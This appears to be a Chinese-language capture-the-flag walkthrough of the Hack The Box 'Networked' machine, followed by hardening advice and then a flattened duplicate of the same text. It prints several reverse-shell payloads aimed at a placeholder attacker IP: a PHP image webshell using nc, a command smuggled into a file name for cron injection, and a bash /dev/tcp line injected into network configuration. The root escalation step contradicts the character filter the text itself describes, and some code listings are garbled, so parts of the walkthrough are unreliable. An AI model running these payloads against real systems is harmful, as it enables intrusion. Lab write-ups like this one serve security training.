hack the box之Networked靶场练习
字数 1585 2025-08-11 08:35:44

Hack The Box - Networked 靶场渗透测试教学文档

靶场概述

Networked 是一个中等难度的 Hack The Box 靶机,主要考察以下技能:

  • Web 应用文件上传漏洞利用
  • 文件类型验证绕过
  • 计划任务提权
  • 网络接口配置漏洞提权

信息收集阶段

1. 端口扫描

使用 nmap 进行初始扫描:

nmap -sV -p- <靶机IP>

发现开放端口:

  • 80/tcp - Apache httpd (Web 服务)

2. Web 目录枚举

使用 dirb 或 gobuster 扫描 Web 目录:

gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt

发现重要目录和文件:

  • /backup/ - 包含备份文件
  • /photos.php - 图片展示页面
  • /upload.php - 文件上传功能
  • /uploads/ - 上传文件存储目录

漏洞分析与利用

1. 文件上传漏洞

在 /backup/ 目录下载 backup.tar 文件,解压后分析 upload.php 源码:

<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
    if (!empty($_FILES["myFile"])) {
        $myFile = $_FILES["myFile"];
        if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
            echo '<pre>Invalid image file.</pre>';
            displayform();
        }
        // ... 其他验证代码 ...
    }
}

关键漏洞点:

  1. 仅检查文件 MIME 类型是否为 image/*
  2. 文件扩展名检查可以被绕过
  3. 上传后文件权限设置为 644 (rw-r--r--)

2. 绕过文件上传限制

利用方法:

  1. 创建包含 PHP 代码的图片文件
  2. 使用双扩展名绕过验证,如 shell.php.jpg
  3. 上传后访问 /uploads/shell.php.jpg 执行代码

示例攻击步骤:

  1. 创建包含 PHP 反弹 shell 的图片文件:
GIF89a;
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f"); ?>
  1. 上传文件并触发执行

3. 初始访问

成功获取反向 shell 后,查看当前用户:

whoami

输出:apache

权限提升 - Apache → Guly

1. 发现计划任务

在 /home/guly/ 目录发现 crontab.guly 文件:

*/3 * * * * /usr/local/bin/check_attack.php

2. 分析 check_attack.php

关键代码:

$files = preg_grep(scandir($path));
foreach ($files as $key => $value) {
    // ...
    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);
    if (!($check[0])) {
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    }
}

漏洞点:

  • 文件名被直接拼接进命令执行
  • 可以通过创建特殊文件名注入命令

3. 利用计划任务提权

利用步骤:

  1. 在 /var/www/html/uploads/ 创建特殊文件名文件:
touch "/var/www/html/uploads/; nc -e /bin/sh <攻击者IP> <端口> ;"
  1. 等待计划任务执行(最多3分钟)
  2. 获取 guly 用户的 shell

权限提升 - Guly → Root

1. 发现特权脚本

在 guly 用户目录发现 changename.sh:

#!/bin/bash

DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_ ]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

2. 分析漏洞

关键点:

  1. 脚本以 root 权限运行(通过 sudo -l 确认)
  2. 用户输入被追加到网络配置文件
  3. 正则表达式允许空格字符
  4. 可以通过注入换行符添加任意配置

3. 利用方法

利用步骤:

  1. 运行 changename.sh
  2. 在 NAME 参数输入:
test DEVICE=eth0
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=tcp
NAME=test
  1. 这将创建一个新的网络接口配置
  2. 通过 ifup 触发网络接口启动
  3. 可以进一步利用来执行任意命令

替代方法(更直接):

  1. 在 NAME 参数输入:
test DEVICE=eth0
ONBOOT=yes
NM_CONTROLLED=yes
BOOTPROTO=tcp
NAME=test
RUN+=/bin/bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'
  1. 这将直接获得 root 权限的反弹 shell

最终权限获取

成功获取 root shell 后,可以读取 flag:

cat /root/root.txt

总结与防御建议

漏洞总结

  1. 文件上传漏洞

    • 不充分的文件类型验证
    • 不安全的文件权限设置
  2. 计划任务提权

    • 不安全的文件名处理导致命令注入
    • 计划任务以高权限运行
  3. 网络配置脚本提权

    • 不安全的用户输入处理
    • 配置注入漏洞

防御建议

  1. 文件上传安全

    • 使用白名单验证文件扩展名
    • 在服务器端验证文件内容
    • 设置严格的文件权限
    • 将上传文件存储在 Web 根目录外
  2. 计划任务安全

    • 避免直接使用用户提供的输入构建命令
    • 使用绝对路径执行命令
    • 实施严格的输入验证
  3. 特权脚本安全

    • 实施严格的输入验证
    • 避免将用户输入直接写入配置文件
    • 使用专用工具修改系统配置
    • 遵循最小权限原则
  4. 系统加固

    • 定期审计计划任务和 cron 作业
    • 限制 sudo 权限
    • 实施适当的文件系统权限

通过本靶机的练习,可以全面了解从 Web 应用到系统层面的多种漏洞利用技术,以及如何通过链式利用多个漏洞实现完整的渗透测试路径。

Hack The Box - Networked 靶场渗透测试教学文档 靶场概述 Networked 是一个中等难度的 Hack The Box 靶机,主要考察以下技能: Web 应用文件上传漏洞利用 文件类型验证绕过 计划任务提权 网络接口配置漏洞提权 信息收集阶段 1. 端口扫描 使用 nmap 进行初始扫描: 发现开放端口: 80/tcp - Apache httpd (Web 服务) 2. Web 目录枚举 使用 dirb 或 gobuster 扫描 Web 目录: 发现重要目录和文件: /backup/ - 包含备份文件 /photos.php - 图片展示页面 /upload.php - 文件上传功能 /uploads/ - 上传文件存储目录 漏洞分析与利用 1. 文件上传漏洞 在 /backup/ 目录下载 backup.tar 文件,解压后分析 upload.php 源码: 关键漏洞点: 仅检查文件 MIME 类型是否为 image/* 文件扩展名检查可以被绕过 上传后文件权限设置为 644 (rw-r--r--) 2. 绕过文件上传限制 利用方法: 创建包含 PHP 代码的图片文件 使用双扩展名绕过验证,如 shell.php.jpg 上传后访问 /uploads/shell.php.jpg 执行代码 示例攻击步骤: 创建包含 PHP 反弹 shell 的图片文件: 上传文件并触发执行 3. 初始访问 成功获取反向 shell 后,查看当前用户: 输出:apache 权限提升 - Apache → Guly 1. 发现计划任务 在 /home/guly/ 目录发现 crontab.guly 文件: 2. 分析 check_ attack.php 关键代码: 漏洞点: 文件名被直接拼接进命令执行 可以通过创建特殊文件名注入命令 3. 利用计划任务提权 利用步骤: 在 /var/www/html/uploads/ 创建特殊文件名文件: 等待计划任务执行(最多3分钟) 获取 guly 用户的 shell 权限提升 - Guly → Root 1. 发现特权脚本 在 guly 用户目录发现 changename.sh: 2. 分析漏洞 关键点: 脚本以 root 权限运行(通过 sudo -l 确认) 用户输入被追加到网络配置文件 正则表达式允许空格字符 可以通过注入换行符添加任意配置 3. 利用方法 利用步骤: 运行 changename.sh 在 NAME 参数输入: 这将创建一个新的网络接口配置 通过 ifup 触发网络接口启动 可以进一步利用来执行任意命令 替代方法(更直接): 在 NAME 参数输入: 这将直接获得 root 权限的反弹 shell 最终权限获取 成功获取 root shell 后,可以读取 flag: 总结与防御建议 漏洞总结 文件上传漏洞 : 不充分的文件类型验证 不安全的文件权限设置 计划任务提权 : 不安全的文件名处理导致命令注入 计划任务以高权限运行 网络配置脚本提权 : 不安全的用户输入处理 配置注入漏洞 防御建议 文件上传安全 : 使用白名单验证文件扩展名 在服务器端验证文件内容 设置严格的文件权限 将上传文件存储在 Web 根目录外 计划任务安全 : 避免直接使用用户提供的输入构建命令 使用绝对路径执行命令 实施严格的输入验证 特权脚本安全 : 实施严格的输入验证 避免将用户输入直接写入配置文件 使用专用工具修改系统配置 遵循最小权限原则 系统加固 : 定期审计计划任务和 cron 作业 限制 sudo 权限 实施适当的文件系统权限 通过本靶机的练习,可以全面了解从 Web 应用到系统层面的多种漏洞利用技术,以及如何通过链式利用多个漏洞实现完整的渗透测试路径。